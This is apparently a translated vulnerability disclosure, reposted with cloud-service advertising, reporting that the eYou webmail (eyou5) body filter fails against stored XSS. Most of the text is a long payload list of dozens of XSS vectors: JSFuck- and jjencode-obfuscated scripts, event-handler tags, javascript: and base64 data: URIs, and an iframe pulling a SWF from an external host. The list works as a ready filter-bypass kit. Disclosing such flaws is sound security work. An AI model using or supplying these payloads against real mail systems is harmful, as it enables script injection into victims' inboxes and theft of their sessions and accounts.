EYou email system email body storage type XSS
In the past, the old version has never had any defense against XSS, so it is boring. An eyou mailbox has recently been upgraded to eyou5. We found that the new version began to filter XSS and tested it. We found a problem.
#1
Test A single XSS attack vector, such:
It can still be resisted.
#2
However, the situation is a little more complicated, and your filtering rules cannot be supported. For example:
<script>alert(0)</script><script>confirm(1)</script><script>prompt(2)</script><script>\u0061\u006C\u0065\u0072\u0074(3)</script> <script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script><script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$_$+")"+"\"")())();</script><script>+alert(6)</script> <script test>alert(7)</script> <script>alert(/8/)</script><script src=data:text/javascript,alert(9)></script><script src=data:text/javascript,alert(10)></script><script>alert(String.fromCharCode(49,49))</script><script>alert(/12/.source)</script><script>setTimeout(alert(13),0)</script><script>document['write'](14);</script><anytag onmouseover=alert(15)>M<anytag onclick=alert(16)>M<a onmouseover=alert(17)>M<a onclick=alert(18)>M<a href=javascript：alert(19)>M<button/onclick=alert(20)>M<form><button formaction=javascript:alert(21)>M<form/action=javascript：alert(22)><input/type=submit><form onsubmit=alert(23)><button>M<body/onload=alert(25)><body onscroll=alert(26)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus><iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																27
																	%29></iframe><iframe src="http://0x.lv/xss.swf"></iframe> <iframe/onload=alert(document.domain)></iframe><IFRAME SRC="javascript：alert(29);"></IFRAME><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2F%73%63%72%69%70%74%3E"><object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object><object data="javascript：alert(document.domain)"><marquee onstart=alert(30)></marquee><isindex type=image src=1 onerror=alert(31)><isindex action=javascript：alert(32) type=image><input onfocus=alert(33) autofocus><input onblur=alert(34) autofocus><input autofocus><INPUT TYPE="IMAGE" SRC=x onerror=alert(35)><select onfocus=alert(36) autofocus><textarea onfocus=alert(37) autofocus></textarea><keygen onfocus=alert(38) autofocus> <FRAMESET><FRAME SRC="javascript：alert(document.domain);"></FRAMESET><frameset onload=alert(40)><embed src="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+"></embed> <embed src=javascript：alert(document.domain)> <math href="javascript：alert(45)">M<math> <maction actiontype="" xlink:href="javascript：alert(46)">M<math xlink:href=javascript：alert(47)>M
In the face of complicated scenarios, your filtering rules cannot be supported.
Because it is a filter design problem, I believe that all of your versions have this defect. If it is difficult to reproduce it, send me a short message from wooyun.
Reorganization filter rules
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
